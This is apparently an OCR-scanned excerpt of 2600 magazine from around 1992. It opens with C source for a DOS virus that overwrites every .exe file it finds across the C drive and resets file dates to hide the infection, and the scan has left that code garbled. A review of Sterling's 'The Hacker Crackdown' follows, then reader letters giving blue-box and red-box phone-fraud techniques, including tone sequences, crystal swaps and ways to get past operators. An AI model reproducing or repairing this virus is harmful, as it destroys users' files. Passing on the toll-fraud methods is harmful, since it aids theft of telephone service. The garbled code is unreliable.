dna(int argc, char *argv[]);/* ---- */
/********** MAIN FUNCTION (LOOP) **********/
void main(int argc, char *argv[]) /* Start of main loop */
{
dna(argc,argv); /* Call virus reproduction func */
getcwd(buffer, MAXPATH);/* Get current directory */
drive -- getdisk(); /* Get current drive number */
setdisk(2); /* Goto 'C' drive */
/* Change to root directory */
donel= findfirst(" *",&ffblkl,FA_DIREC);/* Get 1 st directory */
while(!done1) { /* Start of loop */
chdirfffblk1 .ff_name); /* Change to directory */
if (If = findfirst("*.exe",&ffblk2,0) == -1 ) {/*No file to infect */
/* Back to root */
donel=findnext(&ffblkl); /* Get next dir */
}
else ( /* Yes, infectable file found */
dna(argc,argv); /* Call reproduction func. */
/* Back to root */
donel=findnext(&ffblkl);/* Next directory */
}
} /* End loop */
setdisk(drive); /* Goto original drive */
chdir(buffer); /* Goto original dir */
} /* End of virus */
/********** END OF MAIN FUNCTION, START OF OTHER FUNCTIONS **********/
dna(int argc, char *argv[]) /* Virus Tasks Func */
{
Ifof = findfirst("*.exe",&ffblk, 0);/* Find first '.exe' file */
while(!done)
{
victim=fopen(ffblk,ff_name,"rb+"); /* Open file */
fseek(victim,-1,SEEK_END);/* Go to end, look for marker */
ch=getc(victim); /* Get char */
/* Is it the marker? YES */
{
fclose(victim); /* Don't Reinfect */
done=findnext(&ffblk);/* Go to next '.exe' file */
}
else /* NO...Infect! */
{
getdt(); /* Get file date */
virus=fopen(argvi()],"rb");/* Open host program */
victim=fopen(ffblk,ff_name,"wb" );/* Open file to infect */
while ( count ( vsize )/* Copy virus code */
{ /* to the victim file */
vc=getc(virus);/* This will ovenNrite */
putc(vc,victim);/* the file totally */
count++; /* End reproduction */
}
fprintf(victim,"%s",vstamp);/* Put on virus stamp, optional */
fclose(virus); /* Close Virus */
fclose(victim); /* Close Victim */
victim=fopen(ffblk, ff_name,"ab"); /* Append to victim */
putc(marker,victim); /* virus marker char */
fclose(victim); /* Close file */
setdt(); /* Set file date to original */,
count=0; /* Reset file char counter */
done=findnext(&ffblk); /* Next file */
}
}
}
struct ftime getdt() /* Get original file date func */
{
victim=fopen(ffblk,ff_name,"rb");/* Open file */
getftime(fileno(victim), &ft); /* Get date */
fclose(victim); /* Close file */
return ft; /* Return */
}
setdt() /* Set date to original func *l
{
victim=fopen(ffblk,ff_name,"rb"); I* Open file *l
setftime(fileno(victim), &ft); /* Set date */
fclose(victim); /* Close file */
return (); /* Return */
}
------------------------------------------------------------------
BOOK REVIEW
Hacker Crackdown: Law and Disorder on the Electronic Frontier
by Bruce Sterling
$23.00, Bantam Books, 313 pages
Review by The Devil's Advocate
The denizens of cyberspace have long revered Bruce Sterling as one of
cyberfiction's earliest pioneers. Now, Sterling has removed his steel-edged
mirrorshades to cast a deep probing look into the heart of our modern-day
electronic frontier. The result is The Hacker Crackdown, the latest account of
the hacker culture and Sterling's first foray into non-fiction.
At first glance, Crackdown would appear to follow in the narrative
footsteps of The Cuckoo's Egg and Cyberpunk. The setting is cyberspace, 1990:
year of the AT&T crash and the aftermath of Ma Bell's fragmentation; year of
Operation Sundevil, the Atlanta raids, and the Legion of Doom breakup; year of
the E911 document and the trial of Knight Lightning; year of the hacker
crackdown, and the formation of that bastion of computer civil liberties, the
Electronic Frontier Foundation. Unlike Cuckoo and Cyberpunk, however, Sterling's
work does not center around characters and events so much as the parallels
he draws between them. Crackdown is far less story and far more analysis.
Crackdown is also personal. Missing is the detached and unbiased aloofness
expected of a journalist. Intermingled with the factual accounts, for
instance, are Sterling's keen wit and insight:
"In my opinion, any teenager enthralled by computers, fascinated by the
ins and outs of computer security, and attracted by the lure of specialized
forms of knowledge and power, would do well to forget all about hacking and
set his (or her) sights on becoming a Fed. Feds can trump hackers at almost
every single thing hackers do, including gathering intelligence, undercover
disguise, trashing, phone-tapping, building dossiers, networking, and
infiltrating computer systems...."
Sterling is fair. He effectively gets into the psyche of hacker and
enforcer alike, oftentimes poking fun at the absurdity in both lines of
reasoning. To hackers he is honest and brutal: "Phone phreaks pick on the
weak." Before the advent of ANI, hackers exploited AT&T. Then they drifted to
the Baby Bells where security was less than stellar. From there it was a
gradual regression all the way down to local PBX's, the weakest kids on the
block, and certainly not the megacorporate entities that give rise to
"steal from the rich" Robin Hood excuses. To enforcers he is equally brutal,
charting a chronicle of civil liberty abuses by the FBI, Secret Service, and
local law enforcement agencies.
Perhaps the best reason to read Crackdown is to learn what other books
have neglected to focus on: the abuses of power by law enforcement. Indeed, it
is these abuses that are the main focus of Sterling's work. One by one he
gives a grim account of the raids of 1990, the Crackdown or cultural genocide
that was to have as its goal the complete and absolute extinction of hacking
in all of its manifestations.
On February 21, 1990, Robert Izenberg was raided by the Secret Service.
They shut down his UUCP site, seized twenty thousand dollars' worth of
professional equipment as "evidence," including some 140 megabytes of files,
mail, and data belonging to himself and his users. Izenberg was neither
arrested nor charged with any crime. Two years later he would still be trying
to get his equipment back.
On March 1, 1990, twenty-one-year- old Erlk Bloodaxe was awakened by a
revolver pointed at his head. Secret Service agents seized everything even
remotely electronic, including his telephone. Bloodaxe was neither arrested
nor charged with any crime. Two years later he would still be wondering where
all his equipment went.
Mentor was yet another victim of the Crackdown. Secret Service agents
"rousted him and his wife from bed in their underwear," and proceeded to seize
thousands of dollars' worth of work- related computer equipment, including his
wife's incomplete academic thesis stored on a hard disk. Two years later and
Mentor would still be waiting for the return of his equipment.
Then came the infamous Steve Jackson Games raid. Again, no one was
arrested and no charges were filed. "Everything appropriated was officially
kept as 'evidence' of crimes never specified."
Bruce Sterling explains (in an unusual first-person shift in the
narrative) that it was this raid above all else which compelled him to "put
science fiction aside until l had discovered what had happened and where this
trouble had come from."
Crackdown culminates with what is perhaps the most stunning example of
injustice outside of the Steve Jackson raid. Although the trial of Knight
Lightning is over, its bittersweet memories still linger in the collective
mind of cyberspace. This, after all, was the trial in which William Cook
maliciously tried (and failed) to convict a fledgling teenage journalist for
printing a worthless garble of bureaucratic dreck by claiming that it was in
fact a $79,449 piece of "proprietary" code. In an effort to demonstrate the
sheer boredom and tediousness of the E911 document, and the absurdity of
Cook's prosecution, Crackdown includes a hefty sampling of this document (at a
savings of over $79,449 by Cook's standardsl).
More than any other book to date, Crackdown concentrates on the political
grit and grime of computer law enforcement, answering such perennial favorites
as why does the Secret Service have anything to do with hackers anyway? In
Crackdown we learn that something of a contest exists between the Secret
Service and the FBI when it comes to busting hackers. Also touched upon are
the "waffling" First Amendment issues that have sprung forth from cyberspace.
Crackdown is a year in the life of the electronic frontier. For some, a
forgotten mote of antiquity; for others, a spectral preamble of darker things
to come. But for those who thrive at the cutting edge of cyberspace,
Crackdown is certain to bridge those distant points of light with its account
of a year that will not be forgotten.
------------------------------------------------------------------
I/O
Blue Box Questions
Dear 2600:
A while ago I ordered a book called Spy Game. I was reading about the
phone company and came across a column about you. I would like to access
different operators for different info needs and I was wondering how exactly to
access them. I want to know how to achieve a Key Pulse tone, a STart tone,
number 11, 12, and KP2. I also want to know if I went to Radio Shack and
bought their 15 dollar phone dialer, if I would be able to get a repair shop
to modify it so it can achieve these tones?
MD
Sheboygan, WI
Experimentation is really the only way to discover such things since
there's so much variation between regions. The blue box frequencies have
been published several times in 2600, most recently in the Summer 1992
issue. You're much better off with a genuine blue box or demon dialer
rather than trying to modify a phone dialer for that purpose.
Dear 2600:
Quite a few publications on the subject of blue boxing reached the Dutch
press last year. The Dutch hacker magazine Hack-Tic printed out a complete
set of instructions for using the CCITF-4 and -5 systems on international
telephone lines. Most newspapers covered the issue as well and even one radio
program is said to have broadcast a complete CCITT-5 sequence, which gave an
international telephone connection to the secretary of Mr. Bush for free.
After several attempts (and a sky-high telephone bill), I somehow managed
to program my Mac to do the same job (i.e. generating DTMF and C-5 tones).
Because Dutch telephone authorities limited C-5 (C-4 has gone already) on free
international lines, using this system has become a real task.
But the point I want to make here is that most people only try to reach a
so-called transit international telephone exchange. At this point in their
connection, they disconnect by using the Clear Forward signal. With Seize and
KP2 they will be able to dial almost any country in the world. But what
happens if they get stuck in a non-transit exchange? KP2 will not be accepted,
so only local (i.e. in that specific country) calls can be set up.
I discovered that you can sometimes get back to the outgoing international
network by using KP1 which is indeed the local differentiator. The idea is to
let the national network of your (temporary) destination make the outgoing
connection. For instance, by using Seize-KP1 -00151247409 36-END on the lines
from the Netherlands to Iceland (landcode 354), connection will be made to the
still non-suped musac line published in 2600 in May 1985. The first
intemational lines (i.e. to the USA). Almost the same goes for the Solomon
Isles (landcode 677), only an extra zero is needed here (notice the relaying
in Solomon's telephone network, which sounds really beautiful).
Note that in most countries this scheme does not seem to work. Just see it
as an extension of your phreaking tools.
Phrankenstel.
The trick used from the Netherlands involved dialing Iceland Direct
(060220354), sending a Clear Forward, Seize, and a KPI (to indicate a
terminal call or domestic call), 0 (to incHcate a normal call), then 0
followed by the country code and number. That trick no longer works.
Assorted Comments
Dear 2600:
I attended the Winter '92 Consumer Electronic Show in Las Vegas from
January 9-12 and saw few interesting new products. Although there were about
15,000 exhibits, there were maybe 1,000 computer related exhibits, and the
majority of those were power supply protection devices. I did see some
interesting computer security products. Some companies were pushing their
Caller ID devices and software. One software Caller ID system which was run on
an IBM compatible would pull up all the caller's pertinent information (name,
address, etc.) and digitized photo (if available) from a database for display
on the scneen (VIVE Synergies Inc., 30 West Beaver Creek Road, Unit 2,
Richmond Hill, Ontario L4B 3K1, Canada, phone (416) 882-6107). I also saw a
couple of regular Caller ID boxes and an integrated Caller ID phone with
speakerphone and memory dial and a 15 call digit incoming number memory
(SysPerfect Electronics of San Francisco, phone (415) 875-3550).
One product I saw was designed to solve the problem concerning lack of
privacy on cellular phone calls for any phone call where security was a
concern. The Privacom P-25-C is a portable device which scrambles the audio
signal from your cellular or regular phone line to be descrambled by the same
device on the called end. The device offers 25 different scrambling codes
(which I see as pretty inadequate). To operate, the user dials his phone
normally. When the call is made and verification with the called party is
confirmed, a code is chosen and both parties place their receivers onto the
coupler of the device and pick up its handset. Conversation then continues
normally, all audio being scrambled before being sent over the line (or
through the air in the case of cellular phones). The device itself takes about
as much room as a portable cellular phone and runs continuously up to 20 hours
on battery power. (Swift Strike, Inc., PO Box 206, Galion, OH 44833, phone
(419) 468-1560. Additional sales and technical information: Addtel
Communications, (615) 622-8981 or 800-553-6870)
I went and visited the clowns at the Prodigy booth. I wouldn't have even
bothered but I felt this uncontrollable urge to confront them with the
allegations made against them concerning the Prodigy software scanning a user's
hard drive in search of address information for mailing purposes. Armed with
the inside knowledge out of the Autumn 1991 issue of 2600 that described how
Prodigy junk mail was received at a company addressed to non-existent
"people", I began to explain to them how the theory of their little invasion of
privacy seam was validated beyond reasonable doubt. They got pissed! "We never
did that," said one spokeswoman. "Do you believe everything you read?" asked
another, quite agitated spokesman. I walked off, leaving them there in their
angry and flustered state of loathing. Looking back I noticed them leering at
me. Every time after that when I walked by them they were still leering at me.
One must wonder, if they are so innocent of this accusation, why they became
so defensive rather than explain it away with amiable business tact. At any
rate, I had a good laugh making them squirm.
In the Summer 1991 issue, TN wrote in telling of a way to place local calls
using the Radio Shack Tone Dialer Red Box, saying "I have found [it] to work
and have tested/it] all over Califomia." Apparently you did not travel very
far in your testing because it does not work in my area of Northern Califomia
(916 area code). While on the subject of the Red Box, recently a friend was
using it to call Hong Kong and encountered some interesting AT&T operator
shenanigans. Basically, by now it would be more than safe to conclude that
every phone company in the United States is aware of the Radio Shack Tone
Dialer conversion. AT&T must have some memo circulating stating proper
procedure for detecting and halting Red Box toll fraud. On one occasion, the
operator told my friend he was experiencing computer problems. He asked him to
insert 85 cents (my friend signalled four quarters with his Red Box) and then
claimed that it was not being received by his computer so he was going to
return it. My friend played along and told the operator he had received the
money back, although by that time he had realized he had not heard the
operator release signal nor the tell-tale click inside the phone of the hopper
relay. The operator asked him to insert the money again, which my friend did,
and then claimed, once again, to have retumed it, and asked my friend if he
got the money. This time, my friend said no, so the operator attempted again,
this time for real. My friend heard the operator release signal and a click
inside the payphone, and claimed he had gotten his coins back. "I'm going to
be polite about this," said the AT&T operator. "You have this little black box
with you that makes these sounds...." he continued. My friend didn't bother to
hear him out and simply hung up, which he regrets because who knows what he
may have learned. My friend said of the eight or so operators he dealt with
that night, three of them caught on to the Red Box. We must now ask ourselves
why. The answer doesn't require hours of study and research, as is painfully
obvious: the thing is too damn loud and too damn consistent. Also, it doesn't
help that the timing of the Red Box tones is off by a couple of milliseconds.
My suggestion? Place a bank card or credit card over the mouthpiece of the
phone to mute the volume of the tones to where they aren't so blatantly phony.
After all, the actual quarter tones as generated by the AT&T long distance
computers are barely audible themselves. Also, it wouldn't hurt to program
only one quarter in your priority memory and pound them out at inconsistent
intervals. Mind you, these suggestions are only necessary when dealing with
live operators as the long distance computers are far friendlier, which is
kind of scary when you think about it. Computers friendlier than live people.
If they didn't rely so heavily on their damned computers, they'd have the
current Red Box fad beat. But no, as it is, computers are infinitely more wise
than humans, so it continues. Yes, we live in a sad world. Oh well.
DC
Sheer Frustration
Dear 2600:
I have entitled the following Modern Times - A Drama in Too Many Acts.
1st Act: Reading the 2600 Magazine of Autumn 1991 I found on page 26 a
letter from GS, Seattle: "Bellcore has a new publications listing. The Catalog
of Technical Information." With one eye on the mag and one on the phone I
dialed the 800 number given. But the only thing I heard was a German tape
telling me to check the number or call the operator. Oh no! These are the
Nineties, the Digital Decade!
2nd Act: I finally called the operator and explained my problem. "What? I
can't believe that. You can dial every number directly!" was the answer.
Insisting on my not being deaf and dumb, I gave the number to her. "Okay, I'll
try it for you. But that will cost extra! Stay at your phone, I'll call you
back."
3rd Act: Some minutes later my phone rang. Operator: "I can't get
through... sorry. You may call the Intemational Telephone Number Information
for a local number." What a concept, not knowing the address or even the city!
4th Act: A quick look at my private "Toll-free Telephone Number Database"
revealed an AT&T USA Direct connection to an operator in the States. Not very
hopefully I dialed the number and bingo! He wouldn't do a damned thing for me
without having an AT&T Calling Card!
5th Act: Eventually I found the toll-free number from Germany to AT&T in
Kansas City. The nice lady told me that there are no AT&T offices in Germany
(why are they placing their ads here all the time?) and that I need a Visa Card
to get a Calling Card.
6th Act: Still not ready for surrender, I tried to get a local number.
For the needed address I wanted to call "Telename of Springfield, VA (same
issue, page 31). You surely can imagine what happened: "Your call cannot be
completed as dialed...." The Telename numbcr is a 900 number!
7th Act: I sent a fax (this one) to 2600 Magazine, asking for help. So
please print a local telephone number for Bellcore in your next issue, or at
least an address. Thank you.
Germany
The number in question, 800-521-2673, translates to 908-699-5800 or 908-699-
5802. We'll try to print translations in the future.
Mild Encryption
Dear 2600:.
I just purchased one of the Motorola cordless (not cellular) phones which
is manketed as having "secure clear" - a method of mild grade voice
ecncryption of the radio portion.
Some friends and I listened in with our receivers and the audio is indeed
extremely difficult for casual monitoring. It would, however, be trivial for
any serious agency or corporate type to break through, but then again those
are the people who'd be doing other things as well.
In short, it does provide moderate levels of security. In effect, you're
getting "wire grade" pmtection over a condless link.
The price is quite a bit high - about $200-$250, depending on store,
features, etc.
Danny
New York
Cable Hacking
Dear 2600:
I've hacked my way through the phone system, computers attached to modems,
locks, etc. Now I'm interested in the cable company. Manhattan Cable in
particular. How do those addressable converter boxes work, anyhow? How does the
central office turn on pay-per-view for my box? Has anyone hacked this system
and, if so, can you please publish some info so I don't have to redo all the
work? My interest is purely in hacking to understand and learn, not to steal
service!
Lawrence
NYC
Dear 2600:
I am a subscriber and really enjoy your magazine. I especially love your
do-it-yourself Radio Shack projects. I have a request for one of your upcoming
issues. I was wondering if you could put in some instructions and schematics
on how to cheaply build a Cable TV pay channel "descrsmbler".
Anonymous
Future writers: this is what the people want!
A Phone Mystery
Dear 2600:
I just started reading your wonderful periodical two issues ago. I saw
your Autumn 1991 issue at a local bookstore here in town. I picked up the
magazine and was very excited. You see, l have been BBSing for a few years
now, and have always been interested in everything you guys cover.
I've got a story. My father used to use my current bedroom when I was
little as his office. When he moved into a real office he had the separate
line for the room disconnected. Soon after, I moved into the room. I didn't
pay much attention to the outlet in my room because I thought it was just
hooked up to the main house line. About eleven years after we got the line
disconnected, I decided to see if it worked. I called a friend and was
excited. I thought to myself I could now have a phone in my room. I then
called my house line and it wasn't busy. My mother picked up the line and we
talked for a while.
From what I could tell, Ma Bell just forgot to unplug the line and never
charged us for it. This was all before I knew any better and before I got into
hacking.
Then one day I picked up the phone to call a friend and there was a guy on
the line. I didn't say anything until I think he said something to the effect
of "Jeff, is that you?" replied back that I wasn't Jeff and hung up. I was
kinda scared to use the line for a while, but a few weeks later I really had
to get ahold of somebody and my sister was on the house line. I picked up the
phone in my room and there was that same guy on it. I never got a chance to
use the line again because a few months later my parents gave me a phone line
for me to use in my room. When the new line was all hooked up the old line
wouldn't work. I didn't think about it all that much until recently.
My question is, does this happen a lot? I mean is Ma Bell really so big
that they can forget about a line for over a decade? If I was older, or if I
knew any better, I could have really raised some major hell.
The Psychedellc Sloth
Oregon
This kind of thing happens all the time. In fact, odds are if you move
into a new house and plug in a phone, you'll be connected to someone else's
line. That is what happened to you. Your old line was disconnected. The
phone company does not "forget" about phone numbers for ten years. What
they do instead is hook wires (cable pairs) together at a junction box,
serving area interface, or the frame itself so that the same line shows up
in two different places. Why? Because they make lots of mistakes. It's
happened here at 2600 twice in the past few years. A good clue is when
someone beats you to answering the phone when there's nobody else
around. Or when you start getting messages for non-existent people on your
answering maclune. Keep this in mind next time the phone company claims
that you're responsible for anything dialed on your line. And remember
that any conversation, wire or radio, can be easily monitored,
accidentally or on purpose.
Info
Dear 2600:
ANAC for 313 is 2002002002 - at least this works in most areas. Also 313
loops are usually xxx- 9996/xxx-9997.
Erreth Akbe/Energy!
Many Questions
Dear 2600:
Four issues of 2600 and I still want more. I've never been more impressed
by a magazine. Keep up the good work!
Here are a few questions that I'd appreciate an answer to:
1) In the parts lists for the FM wireless transmitter and the FM telephone
transmitter, three parts listed aren't in the schematics. On page 44, C7 and
C8 (22pF and 1.0nF) and on page 45, C7 (22pF). Do these discrepancies affect
the functioning of either device?
2) What is the product number of the Radio Shack phone dialer? Is there
anything more to the construction of the red box than crystal swapping? If so,
what?
3) I'm rather new to the hack/phreak scene. Could you recommend the years
of back issues with the most information on a) the Internet and b) phreaking?
4) Can you recommend a good book to learn electronics from?
5) Can you suggest magazines which offer information similar to that found
in 2600 and are ordered hardcopy through the mail as opposed to found on the
Net?
6) I'm severely lacking in my knowledge of "boxes". I'd like an
explanation of each of the more common types - if not schematics as well. I
understand beige, red, black, and green boxes. But, for instance, what are the
advantages of a blue box? Is there a formula for deciding which crystals
should be used for which tones (3.58 for DTMF, 6.5536 for red box, 4.1521 for
green box)? Does it vary with the device you put the crystal in? Is there a
general schematic that can be used with different crystals to produce
dffferent tones ?
7) A few years ago (before I bocame interested in hack/phreaking) I saw
part of a movie in which an oscilloscope (I think) was used to determine MAC
or some kind of ATh/[ codes while the machine processed transactions. Does
this process have any workability?
The Ronin
Pennsylvanla
The monitoring devices should work if you follow the schematics; The Radio
Shack model number for the tone dialer is 43-141 but it's now rumored to
have been discontinued. There is no modification other than replacing the
crystal.
We've been publishing phreaking information throughout all of our issues.
The frequency hasn't changed but the particulars certainly have. Internet
news is more prevalent in our later issue.
Some good books to learn electronics from: Basic Electronics Theory by
Delton Horn, published by TAB Books; Forrest M. Mims III Engineer's
Mini-Notebook series available at Radio Shack; Understanding Solid State
Electronics, sold at Radio Shack. Manufacturers' data books are free
(Motorola, etc.) and you can learn an awful lot from them. Try calling some
toll free numbers and asking.
If any good hacker magazines come our way, we'll print the information.
Recently, it's been pretty dry. These numbers may help for DTMF: For a
5089 chip, first row, crystal divided by 5152; second row, 4648; third
row, 4200;fourth row, 3808;first column, 2968; second column, 2688; third
column, 2408, fourth column, 2184.
Finally, oscilloscopes are for measuring waveforms, and generally not for
eavesdropping. It's also very likely that any signal from an ATM would be
encrypted.
Dear 2600:.
First of all, you have a great magazine so don't change a thing/However, I
just recently received a bunch of back issues, so pardon me if some of these
questions are outdated or have been answered already.
1) How can I help 2600 grow (besides the obvious of sending you money)? I
would like to do some sort of volunteer work for you guys, but that may pose a
small problem since I live a few thousand miles from New York.
2) Is E.T. considered an honorary phone phreak?
3) What is the ANAC number for the 515 area code?
4) What can you tell me about your cover artist (Holly Kaufman Spruch)?
5) Please explain to me why it takes six weeks for you guys to process
orders for hack issues. It should only take about two weeks tops. And that's
third class mail. If I decide to shell out maybe $75 for back issues, then
I want the "invaluable" information (that I don't already know) as soon
as possible, and don't want to wait a month and a half for it! This is very
frustrating, and I would also like some other readers' opinions on this.
6) I sympathize with Kevin Mitnick in the Summer '91 issue, In plain
English, he got shafted. I'm not saying that he's completely innocent, but
the authors of the book Cyberpunk did write unfairly about him.
7) How about writing an article listing all of the known phreak boxes,
what they can do, and if they can be used today. List all of the major
ones like blue, red, green, and black boxes and then list the lesser known
ones like the gold, cheese, diverti, aqua, etc.
8) Would it be possible to put together a big gathering of phreaks in some
unknown exchange like the "2111" conference in the October 1971 Esquire
article "Secrets of the Little Blue Box"? To me that is what phreaking is
all about - helping other phreaks. By the way, I do know that you can't use
a blue box to do this anymore, but you inventive folks should be able to
come up with something that would work. If you did this however, you would
have to tell phreaks about it through word of mouth, as I'm sure many
telco security personnel read your magazine.
9) I really enjoyed the "Hacker Reading List" in the Winter '90 issue.
However, it was slightly incomplete - you forgot magazine articles. Below
is a small list of hacker/phreak related articles that I have come across.
A larger list is available at the back of the book Cyberpunk. Also, a very
good book that Dr. Williams left out of the book list is called The Phone
Book and the author is J. Edward Hyde. To find these, just go to your
local library and see if they have the hack issues. However, they might
not have them as far back as '72, so you will have to use their microfiche.
I personally found most of these at a college library.
Esquire, October 1971, "Secrets of the Little Blue Box".
Esquire, December 1990, "Terminal Delinquents".
Ramparts, June 1972, "Regulating the Phone Company in Your Home".
Ramparts, July 1972, "How the Phone Company Interrupted Our Service".
Radio Electronics, November 1987, "The Blue Box and Ma Bell".
L.A. Weekly, July 18-24 1980, "The Phone Art of Phone Phreaking".
Rolling Stone, September 19 1991, "Samurai Hackers".
Playboy, October 1972, "Take That, You Soulless S.O.B.".
Oui, August 1973, "The Phone Phreaks' Last Stand".
Time, March 6 1972, "Phoney Tunes".
Clark Kent
Ames, IA
You don't have to be anywhere near us to help out. You can send us
information, articles, and anything else that comes to mind. You can
contribute to the discussion on our voice BBS and start other forums on
hacking throughout the country. By letting people know there is a place
for them to contribute, you'll be opening up a lot of minds that are just
waiting to be liberated. It may not be quite that poetic but you get the
idea. We don't talk about E.T., we will talk about the .515 ANAC when we
find it, and we can't talk about Holly Kaufmun Spruch. We agree that back
issue orders take too long und we've taken some steps to alleviate the
situation, including luring people whose only concern in life is to speed
the process. Keep in mind that it takes our bank up to three weeks to
notify us if a check has bounced or is unacceptable for some other stupid
reason. That's why we're not too keen on sending out back issues until
we're sure we've actually gotten paid. We could send out cash orders quicker
but then too many people would send cash in the mail, whuch is a pretty
risky thing in itself. We're hoping for a maximum of three to four weeks
from start to finish. Our authors and hopefully other readers have taken
note of your other ideas. Thanks for the info.
An Opinion
Dear 2600:
I was reading an article from an issue of 2600 called "How Phone Phreaks
Are Caught" and it gave me a lot of insight, and I thought I should contribute
some. On many "elite" BBS's they have many files on how not to get caught
phreaking and what precautions to take (including this file). Files like that
are what will keep some phreaks in the clear and out of trouble. Most files,
like "Phreaking Made E-Z" (fictitious file, but used just to illustrate my
point), just say, "Okay, at the prompt, just type in...." etc. But the
phreakers need to know all the theory behind it.
Also included in the file was some of the Spring edition of 2600, and it
had an article about a "crackdown". It's kinda scary, but very tme. I myself
am not too quick to let people know that "I phreak", and am extremely
reluctant to show anyone my files (in other words, I don't) on phreaking,
hacking, etc.
But crackdowns like this can help phreaks. It will make them so paranoid
that they will all band together and create tings of correspondence, banding
everyone together.
Violent actions, like what happened to Steve Jackson Games, are pretty
scary to think about. I mean, should I be worried if I send someone e-mail over
America Online, and mention h/p/a/v, or a "phreaking" term? It's things like
this that can spread from the E911 doc and such.
Thanks for letting me voice my opinion and I'd also like to subscribe to
2600, for it seems to be the only printed mag that actually tells the truth.
TC
Blauvelt, NY
Don't be concerned about what you talk about in e-mail. The only thing you
should really be worried abaut is submitting to hysteria, paranoia, ar
self-censorship.
The Facts on ACD
Dear 2600:
Thanks goes out to Dr. Abuse and the designer of the magnetic stripe card
copier (printed in the Summer 1991 issue). Another thanks goes out to the Mad
Scientist, whose article fmally encouraged me to mess around with my silver
box. While experimenting with it and the Automated Call Distributor on some
payphones in Boston, Massachusetts, I got some different results than the Mad
Scientist did. They are as follows:
1: Ring toll test board/loud busy
2: Tone side - loop (high)
3: Loud busy
4: Dead/loud busy
5: Loud busy
6: Dead
7: Dead
8: Doesn't trigger anything (pulsing dialtone continues)
9: Doesn't trigger anything (pulsing dialtone continues)
O: Tone blast (1000 hz)
*: Doesn't trigger anything (pulsing dialtone continues)
#: Doesn't trigger anything (pulsing dialtone continues)
I was wondering what the real purpose of the ACD was, because the features
it can achieve don't seem greatly important. I have also experimented with the
other tones (A, B, and C), but have not acquired any information.
Secondly, while travelling in Belgium and Amsterdam last summer, I came
across a few electronics stores and a bookstore which had many interesting
items. I picked up one dialer, which is about 2" by 2" square and a 1/4"
thick, which has the 0-9, *, #, and A,B,C,D tones, which is what I use for my
silver box. It cost the equivalent of about $15-$20 US currency. There were
also some other types of dialers there too, all small and compact. In case
anyone was interested in ordering one of these dialers (I recommend it, they
are great), it is called the 'TD-1000 Digitale Toonkiezer" by Betacom. Try
writing or calling there two places:
1 ) Teleworld Telecommunicatieshops
Kinkerstrsat 66-68-70
1053 DZ Amsterdam
The Netherlands
Phone: +31-20-6834001
2) S. A. Kevinco N.V.
Rue du Marche aux Herbes - 4 - Grasmarkt
Bruxelles 1000 Belgium
+32-2-2187159
Also, if you happen to go into Amsterdam, and want to pick up current and
back issues of Hack-Tic (learn Dutch just to read this publication, it's
great), 80 to either of the following bookstores: Athenaeum Nieuwscentmm,
Amsterdam; Athenaeum Boekhandel, Amsterdam, Haarlem.
This next comment is in regards to the letter from Dr. Delam on page 25 of
the Spring 1992 issue. He commented about making a red box with a mercury
switch for "pig-proof" access to the 6.5536mhz and 3.57mhz crystals. To go
more in depth with that, I will explain some of a text file that Cybametik
wrote up a few months back on that topic. You will need two mercury switches,
preferably very small, so they will fit into the dialer casing. Connect one
lead of one of the mercury switches to one of the leads of the 3.57mhz
crystal, and the other existing leads to the two solder marks on the dialer PC
board (where the original 3.57mhz crystal existed). Next, connect one lead of
the other mercury switch to one lead of the 6.5536mhz crystal, and connect the
two unconnected leads to the two solder marks on the dialer PC board (there
should now be four leads on the two marks). Now, in order for the mercury
switch action to work, you have to make sure that the mercury switches are
facing opposite directions (vertically), so when you tum the dialer backwards,
one crystal should connect with the board, and when you tum it the other way,
the other crystal should connect. Well, I hope that cleared things up a bit in
the way of mercury switches.
And lastly, some ANACs are: Boston and surrounding areas: 200-xxx-1234,
200-222-2222; N.W. Indiana: 410-4 (x12).
Kingpin
Brookline, MA
With regards to the Automated Call Distributor, whenever you call
directory assistance, you're actually dialing into a queueing system which
is known as the ACD. This system is simply what determines who is free to
pick up your call. By pressing the D key while they pick up, you enter a
test mode on the ACD. It's not meant to be interesting or exciting to
anyone outside of the phone company.
Cellular Mystery
Dear 2600:.
I was wondering if yon could answer this question. Local telephone
people and our RCMP have been adding an E-Promchip to their cellular phones.
Generally they are added to a Techniphone (British brand ofcellular). They
have been designed to accept the chip easily. Everyone has gone hush-hush on
this. Can you tell me what practical applications can be done with it?
Nova Scotia
It's probably for the purpose of changing the ESN (Electronic Serial
Number) and the MIN (Mobile Identifcation Number). It could abo be an ANI
of some sort so the dispatcher knows who's talking. Then again, it could
be for speech encryption. The best way to see if it's the latter is to get
the frequency (use a frequency counter) and listen in with a scanner. Good
luck.
Call For Data
Dear 2600:
Do you have any plans for doing a list of CNA's? Michigan (313) went
automated a while back. The number is 424-0900. A three-digit employee number
is required. When I was in Chicago md browsing through their ANAC's, I found
an interesting phenomenon. It returned a barst of DTMF. I didn't have a decoder
so I can't be sure what it meant. Finally, the demon dialer as advertised in
your Winter 1991 issue works great. C'est bon. Hell, c'est tres bon. I highly
recommend it. Expect an article soon on boxing out of foreign countries.
The Azure Mage
Somewhere in the Military
When we get the info, we'll print it.
Call For Info
Dear 2600:
I was reading an article in your summer edition and it talked about a
magazine called Mobile Computing. Could you please tell me how I can get in
touch with them?
JS
We can't track down a number or address for them at the moment. But you
should also look in Computer Shopper if you want it~ro on lap tops.
Call For Help
Dear 2600:
I run a BBS for the disabled called DEN (Disabilities Electronic Network).
Until recently we had an 800 number accessing an eight line hunt group. It was
a very lively national bulletin board. Our 800 number is in limited service
indefinitely as a result of our loss of funding. This has been the cause of a
search for long distance services that our users would make use of to access
DEN. I found PC Pursuit by Sprint. PC Pursuit is a non-prime time service that
allows 90 hours per month for disabled people and 30 hours per month for non-
disabled people for $30. The service enables one to access many electronic
services during non-prime time hours and weekends while not changing your
present long distance provider. Are you, or anyone at 2600, aware of other
such low cost services? I'm desperate to find low cost access for our users.
We're a free service and it would be a shame if our phone companies' greed
affected our ability to deliver a service to the disabled community.
New Jersey
The call has gone out.
A Choke Tip
Dear 2600:
In regards to the "choke line" discussion in relation to reaching radio
stations (2600, Spring 1992), I have found that dialing a carrier access code
prior to the phone number increases the chances of getting through to a radio
station. This does result in a long distance charge but it may be worth the
risk, if one desires the prize greatly enough.
The Prophet
Canada
Mail Problems
Dear 2600:
Due to the problems with non-delivered issues, I have decided not to renew
my subscription to 2600. I think I've averaged at least one missing issue per
year of my subscription. This is not pleasant, especially with a quarterly
publication.
I doubt this is due to any incompetence on your part, but rather because of
sticky-fingered postal employees. They see The Hacker Quarterly pass in front
of them and think "Hmmm, I think I'll read this during lunch..." and who knows
where the hell it winds up after that. Playboy remedied this some time ago by
